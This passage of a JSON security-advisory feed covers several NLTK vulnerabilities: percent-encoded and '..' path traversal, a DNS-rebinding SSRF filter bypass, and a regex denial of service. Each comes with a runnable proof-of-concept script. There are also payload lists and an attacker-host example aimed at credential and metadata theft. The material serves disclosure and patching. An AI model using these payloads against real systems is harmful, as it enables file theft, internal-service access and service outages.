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AFTER any safety check\np = os.path.join(path_, url2pathname(resource_name))\nif os.path.exists(p):\n    return FileSystemPathPointer(p)\n\n# Proof of Concept\nimport nltk.data\nnltk.data.path = [\"/home/user/nltk_data\"]\n%2e%2e decodes to .. via url2pathname(), escaping the data dir\ndata = nltk.data.load(\"%2e%2e/SECRET_credentials.txt\", format=\"raw\")\nprint(data)\n b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\\nDATABASE_PASS=hunter2\\n'\nAll of these bypass path checks and decode identically:\n\n# Payload\tAfter url2pathname()\n%2e%2e/secret\t../secret\n.%2e/secret\t../secret\n%2e./secret\t../secret\n%2E%2E/secret\t../secret\nRoot Cause\nurl2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.\n\n# Fix\nDecode before checking:\n\nfrom urllib.parse import unquote\nresource_name = unquote(resource_name)  # decode first, then validate\n\n# Impact\nAn attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-13T20:45:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-m42h-3232-vpv3","https://nvd.nist.gov/vuln/detail/CVE-2026-12243","https://github.com/nltk/nltk/issues/3504","https://github.com/nltk/nltk/pull/3522","https://github.com/nltk/nltk/commit/aec4fce1b84ad725b8975f7365b23a4f626572a9","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yaml","https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1","https://securityinfinity.com/research/path-traversal-in-nltks-nltk-data-load-via-percent-encoded-sequences","https://github.com/advisories/GHSA-m42h-3232-vpv3"],"source_kind":"github","identifiers":["GHSA-m42h-3232-vpv3","CVE-2026-12243"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-13T21:00:08.851Z","updated_at":"2026-08-14T23:00:09.967Z","epss_percentage":0.00583,"epss_percentile":0.44528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDJoLTMyMzItdnB2M84ABisi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNDJoLTMyMzItdnB2M84ABisi","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c 3.10.0"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDJoLTMyMzItdnB2M84ABisi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xdnY3LWNnOWMtdzR4M84ABg-E","url":"https://github.com/advisories/GHSA-qvv7-cg9c-w4x3","title":"Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode","description":"### Summary\n`nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`.\n\n\n### Details\n`urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches:\n\n1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.)\n2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)\n\n`_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.\n\n\n### PoC\n```python\nimport socket\nimport threading\nimport warnings\nfrom collections import defaultdict\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nwarnings.filterwarnings(\"ignore\")\n\nimport nltk\nimport nltk.pathsec as ps\n\nps.ENFORCE = True  # the documented strict SSRF sandbox\n\nATTACKER_HOST = \"rebind.attacker.test\"   # attacker-controlled authoritative DNS\nPUBLIC_IP = \"93.184.216.34\"              # public address served for the validation lookup\nSECRET = b\"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS\"\n\n\n# --- A loopback-only \"internal service\" (stands in for 169.254.169.254 / admin UI) ---\nclass _Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(SECRET)))\n        self.end_headers()\n        self.wfile.write(SECRET)\n\n    def log_message(self, *a):\n        pass\n\n\ndef start_internal_server():\n    srv = HTTPServer((\"127.0.0.1\", 0), _Handler)\n    threading.Thread(target=srv.serve_forever, daemon=True).start()\n    return srv.server_address[1]  # ephemeral port\n\n\n# --- Model the TTL-0 rebinding record at the resolver layer ---\n_real_getaddrinfo = socket.getaddrinfo\n_lookups = defaultdict(int)\n\n\ndef _rebinding_getaddrinfo(host, port, *args, **kwargs):\n    if host == ATTACKER_HOST:\n        n = _lookups[host]\n        _lookups[host] += 1\n        ip = PUBLIC_IP if n == 0 else \"127.0.0.1\"   # 1st=public (validate), then loopback (connect)\n        p = port if isinstance(port, int) else 0\n        kind = \"VALIDATION -\u003e public\" if n == 0 else \"CONNECT    -\u003e loopback\"\n        print(f\"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})\")\n        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, \"\", (ip, p))]\n    return _real_getaddrinfo(host, port, *args, **kwargs)\n\n\ndef fetch(url):\n    with ps.urlopen(url, timeout=5) as r:\n        return r.read()\n\n\ndef main():\n    print(\"=\" * 62)\n    print(f\" NLTK pathsec DNS-rebinding SSRF bypass PoC\")\n    print(f\" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}\")\n    print(\"=\" * 62)\n\n    port = start_internal_server()\n    print(f\"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\\n\")\n\n    socket.getaddrinfo = _rebinding_getaddrinfo\n    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process\n    try:\n        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----\n        print(\"[1] CONTROL: direct loopback URL (filter must block this)\")\n        direct = f\"http://127.0.0.1:{port}/\"\n        try:\n            fetch(direct)\n            print(f\"    [?] unexpected: {direct} was NOT blocked\\n\")\n            control_ok = False\n        except PermissionError as e:\n            print(f\"    [OK] blocked -\u003e PermissionError: {e}\\n\")\n            control_ok = True\n\n        # ---- Attack: rebinding hostname bypasses the same filter ----\n        print(\"[2] ATTACK: rebinding hostname (public at validate, loopback at connect)\")\n        evil = f\"http://{ATTACKER_HOST}:{port}/\"\n        print(f\"    fetching {evil}\")\n        try:\n            body = fetch(evil)\n            leaked = SECRET in body\n            print(f\"    body returned to caller: {body!r}\")\n            if leaked:\n                print(\"\\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen\")\n                print(f\"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1\")\n                print(f\"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}\")\n                verdict = \"VULNERABLE\"\n            else:\n                print(\"\\n  [?] fetch succeeded but secret marker not present\")\n                verdict = \"INCONCLUSIVE\"\n        except PermissionError as e:\n            # Patched build: validate against the connect-time IP (or pin/resolve-once).\n            print(f\"\\n  [SAFE] blocked -\u003e PermissionError: {e}\")\n            verdict = \"NOT VULNERABLE\"\n    finally:\n        socket.getaddrinfo = _real_getaddrinfo\n\n    print(\"\\n\" + \"=\" * 62)\n    print(f\" Control (direct loopback blocked): {control_ok}\")\n    print(f\" Result: {verdict}   (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 62)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n- **Full-response (non-blind) SSRF.** Because the fetched body is returned to the caller (e.g. `nltk.data.load` with `format=\"raw\"`), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.\n- **Bypass of an explicit security control.** It defeats the `nltk.pathsec` SSRF filter, including the `ENFORCE` mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the `lru_cache` annotation claiming to mitigate rebinding makes the false assurance worse.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-31T16:51:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3","https://github.com/advisories/GHSA-qvv7-cg9c-w4x3"],"source_kind":"github","identifiers":["GHSA-qvv7-cg9c-w4x3","CVE-2026-12075"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-31T17:00:09.052Z","updated_at":"2026-08-14T23:00:26.859Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdnY3LWNnOWMtdzR4M84ABg-E","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xdnY3LWNnOWMtdzR4M84ABg-E","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdnY3LWNnOWMtdzR4M84ABg-E/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZzdmLTIzODYtODg5N84ABg-D","url":"https://github.com/advisories/GHSA-fg7f-2386-8897","title":"Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex","description":"### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {'words':\u003e7} {'~bytes':\u003e8}   {'time':\u003e12}   {'x prev':\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {'\u003e%.0fs TIMEOUT' % TIMEOUT:\u003e12}   {'--':\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line — extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-31T16:51:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897","https://github.com/advisories/GHSA-fg7f-2386-8897"],"source_kind":"github","identifiers":["GHSA-fg7f-2386-8897","CVE-2026-12061"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-31T17:00:09.052Z","updated_at":"2026-08-14T23:00:26.860Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZzdmLTIzODYtODg5N84ABg-D","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZzdmLTIzODYtODg5N84ABg-D","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZzdmLTIzODYtODg5N84ABg-D/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02aG01LWpnY3AtcDgzOM4ABg-C","url":"https://github.com/advisories/GHSA-6hm5-jgcp-p838","title":"Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)","description":"### Summary\n   A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can\n   influence the `fileids` argument of its public read methods (`header`, `raw`,\n   `words`, `sents`, `tagged_words`) to read files outside the corpus root. The\n   reader builds the file path with no containment check and opens it with the\n   builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the\n   strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant\n   deployments. `header()` returns the parsed content of the out-of-root file to\n   the caller (arbitrary file read).\n\n   ### Details\n   `SECURITY.md` promises that file access is \"validated against allowed NLTK data\n   directories\" and that with `nltk.pathsec.ENFORCE = True` \"unauthorized file\n   access … will raise `PermissionError`.\" That guarantee is enforced via\n   `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call\n   `nltk.pathsec.validate_path(...)`.\n\n   `NKJPCorpusReader` never uses that protected path. In\n   `nltk/corpus/reader/nkjp.py`:\n\n   - `add_root()` builds the path by **plain string concatenation** with no\n     normalization or containment check:\n     ```python\n     def add_root(self, fileid):          # lines 96-102\n         if self.root in fileid:\n             return fileid                # attacker-controlled value returned unchanged\n         return self.root + fileid        # plain concat, '..' not stripped\n     ```\n   - The header view appends a fixed basename and passes the string straight into\n     the corpus view (which opens it with the builtin `open()`):\n     ```python\n     class NKJPCorpus_Header_View(XMLCorpusView):   # line 181\n         def __init__(self, filename, **kwargs):\n             XMLCorpusView.__init__(self, filename + \"header.xml\", self.tagspec)  # line 189\n     ```\n   - The other modes reach the filesystem through `XML_Tool`, which uses a raw\n     `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the\n     builtin `open()`:\n     ```python\n     class XML_Tool:                                  # line 243\n         def __init__(self, root, filename):\n             self.read_file = os.path.join(root, filename)   # line 251\n         def build_preprocessed_file(self):\n             fr = open(self.read_file)                        # line 256 — pathsec never consulted\n     ```\n\n   Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`\n   sentinel is never invoked, so `ENFORCE = True` does not block the access. For\n   comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)\n   rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`\n   before opening — `NKJPCorpusReader` simply does not go through it.\n\n   ### PoC\n   Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.\n\n   ```\n   pip install \"nltk==3.9.4\"\n   python3 poc.py\n   ```\n\n   `poc.py`:\n   ```python\n   import builtins, os, shutil, tempfile, warnings\n   warnings.simplefilter(\"ignore\")\n   import nltk, nltk.pathsec as pathsec\n   from nltk.corpus.reader.nkjp import NKJPCorpusReader\n\n   print(\"nltk\", nltk.__version__)\n\n   # A legitimate, empty NKJP corpus root (what a real app has).\n   root = tempfile.mkdtemp(prefix=\"nkjp_corpus_root_\")\n   os.makedirs(os.path.join(root, \"sample\"), exist_ok=True)\n   open(os.path.join(root, \"sample\", \"header.xml\"), \"w\").write(\"\u003cx/\u003e\")\n\n   # The attacker's target: a file OUTSIDE the corpus root.\n   secret_dir = tempfile.mkdtemp(prefix=\"OUTSIDE_ROOT_\")\n   open(os.path.join(secret_dir, \"header.xml\"), \"w\").write(\n   \"\u003cteiHeader\u003e\u003cfileDesc\u003e\u003csourceDesc\u003e\u003cbibl\u003e\"\n   \"\u003ctitle\u003eSECRET-API-KEY=sk-live-DEADBEEF\u003c/title\u003e\"\n       \"\u003c/bibl\u003e\u003c/sourceDesc\u003e\u003c/fileDesc\u003e\u003c/teiHeader\u003e\")\n\n   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.\n   pathsec.ENFORCE = True\n   print(\"ENFORCE =\", pathsec.ENFORCE)\n\n   # Prove the out-of-root read and that pathsec is never consulted.\n   opened = []; real = builtins.open\n   builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]\n\n   reader = NKJPCorpusReader(root=root + \"/\", fileids=\"sample\")\n   # Attacker-controlled `fileids`; '..' escapes the corpus root:\n   evil = root + \"/../../../../../../..\" + secret_dir + \"/\"\n   try:\n       result = reader.header(fileids=[evil])\n   finally:\n       builtins.open = real\n\n   print(\"opened outside root:\", [p for p in opened if \"OUTSIDE_ROOT_\" in p][:1])\n   print(\"disclosed content  :\", result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`'s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-31T16:50:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838","https://github.com/advisories/GHSA-6hm5-jgcp-p838"],"source_kind":"github","identifiers":["GHSA-6hm5-jgcp-p838","CVE-2026-12072"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-31T17:00:09.052Z","updated_at":"2026-08-14T23:00:26.860Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aG01LWpnY3AtcDgzOM4ABg-C","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02aG01LWpnY3AtcDgzOM4ABg-C","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aG01LWpnY3AtcDgzOM4ABg-C/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14aDk1LWY1NW0tODJmd84ABg-B","url":"https://github.com/advisories/GHSA-xh95-f55m-82fw","title":"Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)","description":"### Summary\n`FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox — including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.\n\n\n### Details\n`frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply.\n\nThe same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:\n- `doc()` — uses the index entry `filename` field\n- the lexical-unit file loader — uses the `lexUnit` ID attribute\n\nThese are reachable through a malicious or attacker-modified FrameNet corpus index.\n\n### PoC\n```python\n\"\"\"\n\nimport os\nimport sys\nimport tempfile\nimport warnings\nfrom pathlib import Path\n\nwarnings.filterwarnings(\"ignore\")\n\n# --- Turn the documented strict sandbox ON, before importing the reader. ---\nimport nltk.pathsec as ps\nps.ENFORCE = True\n\nimport nltk\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError\n\nFRAME_XML = (\n    '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n'\n    '\u003cframe xmlns=\"http://framenet.icsi.berkeley.edu\" ID=\"1337\" name=\"pwned\"\u003e\\n'\n    \"\u003cdefinition\u003eSECRET-OUT-OF-ROOT-CONTENT\u003c/definition\u003e\\n\"\n    \"\u003c/frame\u003e\\n\"\n)\n\nBANNER = \"\"\"\\\n===========================================================\n NLTK FramenetCorpusReader.frame() Path Traversal PoC\n nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}\n===========================================================\"\"\".format(\n    ver=nltk.__version__, enforce=ps.ENFORCE\n)\n\n\ndef build_corpus():\n    \"\"\"Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.\"\"\"\n    base = Path(tempfile.mkdtemp(prefix=\"fn_poc_\"))\n    root = base / \"corpora\" / \"framenet\"\n    for d in (\"frame\", \"fulltext\", \"lu\"):\n        (root / d).mkdir(parents=True)\n    (root / \"frameIndex.xml\").write_text(\n        '\u003c?xml version=\"1.0\"?\u003e\u003cframeIndex\u003e\u003c/frameIndex\u003e'\n    )\n    (root / \"frRelation.xml\").write_text(\n        '\u003c?xml version=\"1.0\"?\u003e\u003cframeRelations\u003e\u003c/frameRelations\u003e'\n    )\n\n    # A frame-shaped XML file OUTSIDE the corpus root (the \"sensitive\" target).\n    secret = base / \"private\"\n    secret.mkdir()\n    (secret / \"secret.xml\").write_text(FRAME_XML)\n\n    return base, root, secret / \"secret.xml\"\n\n\ndef main():\n    print(BANNER)\n    base, root, secret_path = build_corpus()\n    print(f\"[*] corpus root : {root}\")\n    print(f\"[*] secret file : {secret_path}  (OUTSIDE the root)\\n\")\n\n    fn = FramenetCorpusReader(str(root), [])\n\n    # Attacker-controlled frame name climbs out of \u003croot\u003e/frame/ up to \u003cbase\u003e/private/secret.xml\n    evil = os.path.join(\"..\", \"..\", \"..\", \"private\", \"secret\")\n    print(f\"[*] calling   fn.frame({evil!r})\")\n\n    try:\n        f = fn.frame(evil)\n        definition = f[\"definition\"]\n        if \"SECRET-OUT-OF-ROOT-CONTENT\" in definition:\n            print(\"\\n  [VULN] out-of-root file was read and returned to caller\")\n            print(f\"         frame name : {evil}\")\n            print(f\"         frame ID   : {f['ID']}   name: {f['name']}\")\n            print(f\"         definition : {definition}\")\n            print(f\"\\n  -\u003e nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}\")\n            verdict = \"VULNERABLE\"\n        else:\n            print(f\"\\n  [?] frame() returned but content unexpected: {definition!r}\")\n            verdict = \"INCONCLUSIVE\"\n    except FramenetError as e:\n        # Patched build (#3581): _reject_unsafe_path_component raises before open().\n        print(f\"\\n  [SAFE] FramenetError: {e}\")\n        print(\"         traversal rejected before any file was opened (patched)\")\n        verdict = \"NOT VULNERABLE\"\n    except Exception as e:\n        print(f\"\\n  [SAFE] {type(e).__name__}: {e}\")\n        verdict = \"NOT VULNERABLE\"\n\n    # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.\n    print(\"\\n[CONTROL] benign absent name should be 'Unknown frame':\")\n    try:\n        fn.frame(\"Definitely_Not_A_Frame\")\n        print(\"  [?] unexpectedly succeeded\")\n    except Exception as e:\n        print(f\"  ok -\u003e {type(e).__name__}: {e}\")\n\n    print(\"\\n\" + \"=\" * 59)\n    print(f\" Result: {verdict}  (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 59)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n\n### Impact\n- **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.\n- **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving \"read any XML file the process can read.\" Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.\n- **Silent bypass of an advertised boundary.** NLTK's `SECURITY.md` presents the `nltk.pathsec` sandbox and 